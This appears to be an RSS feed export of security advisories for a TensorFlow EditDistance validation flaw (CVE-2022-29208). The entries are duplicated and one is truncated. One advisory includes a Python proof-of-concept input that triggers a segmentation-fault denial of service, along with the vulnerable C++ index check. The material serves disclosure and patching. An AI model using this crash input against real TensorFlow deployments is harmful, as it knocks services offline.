https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 21 Oct 2026 10:21:13 +0000 https://cve.radiocsirt.org/vuln/cve-2022-29208 <p><strong>Affected:</strong> tensorflow</p> <p>TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.EditDistance` has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service. In multiple places throughout the code, one may compute an index for a write operation. However, the existing validation only checks against the upper bound of the array. Hence, it is possible to write before the array by massaging the input to generate negative values for `loc`. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.</p> <p><strong>Affected:</strong> tensorflow</p> <p>TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.EditDistance` has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service. In multiple places throughout the code, one may compute an index for a write operation. However, the existing validation only checks against the upper bound of the array. Hence, it is possible to write before the array by massaging the input to generate negative values for `loc`. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.</p> https://cve.radiocsirt.org/vuln/cve-2022-29208 https://cve.radiocsirt.org/vuln/ghsa-2r2f-g8mw-9gvr <p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p> <p>### Impact The implementation of [`tf.raw_ops.EditDistance`]() has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service:</p> <p>```python import tensorflow as tf</p> <p>hypothesis_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) hypothesis_values = tf.constant(0, shape=[3], dtype=tf.int64) hypothesis_shape = tf.constant(0, shape=[3], dtype=tf.int64)</p> <p>truth_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) truth_values = tf.constant(2, shape=[3], dtype=tf.int64) truth_shape = tf.constant(2, shape=[3], dtype=tf.int64)</p> <p>tf.raw_ops.EditDistance( hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values, hypothesis_shape=hypothesis_shape, truth_indices=truth_indices, truth_values=truth_values, truth_shape=truth_shape) ```</p> <p>In multiple places throughout the code, we are computing an index for a write operation:</p> <p>```cc if (g_truth == g_hypothesis) { auto loc = std::inner_product(g_truth.begin(), g_truth.end(), output_strides.begin(), int64_t{0}); OP_REQUIRES( ctx, loc &lt; output_elements, errors::Internal(&#34;Got an inner product &#34;, loc, &#34; which would require in writing to outside of &#34; &#34;the buffer for the output tensor (max elements &#34;, output_elements, &#34;)&#34;)); output_t(loc) = gtl::LevenshteinDistance&lt;T&gt;(truth_seq, hypothesis_seq, cmp); // ... } ```</p> <p>Howe…</p> <p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p> <p>### Impact The implementation of [`tf.raw_ops.EditDistance`]() has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service:</p> <p>```python import tensorflow as tf</p> <p>hypothesis_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) hypothesis_values = tf.constant(0, shape=[3], dtype=tf.int64) hypothesis_shape = tf.constant(0, shape=[3], dtype=tf.int64)</p> <p>truth_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) truth_values = tf.constant(2, shape=[3], dtype=tf.int64) truth_shape = tf.constant(2, shape=[3], dtype=tf.int64)</p> <p>tf.raw_ops.EditDistance( hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values, hypothesis_shape=hypothesis_shape, truth_indices=truth_indices, truth_values=truth_values, truth_shape=truth_shape) ```</p> <p>In multiple places throughout the code, we are computing an index for a write operation:</p> <p>```cc if (g_truth == g_hypothesis) { auto loc = std::inner_product(g_truth.begin(), g_truth.end(), output_strides.begin(), int64_t{0}); OP_REQUIRES( ctx, loc &lt; output_elements, errors::Internal(&#34;Got an inner product &#34;, loc, &#34; which would require in writing to outside of &#34; &#34;the buffer for the output tensor (max elements &#34;, output_elements, &#34;)&#34;)); output_t(loc) = gtl::LevenshteinDistance&lt;T&gt;(truth_seq, hypothesis_seq, cmp); // ... } ```</p> <p>Howe…</p> https://cve.radiocsirt.org/vuln/ghsa-2r2f-g8mw-9gvr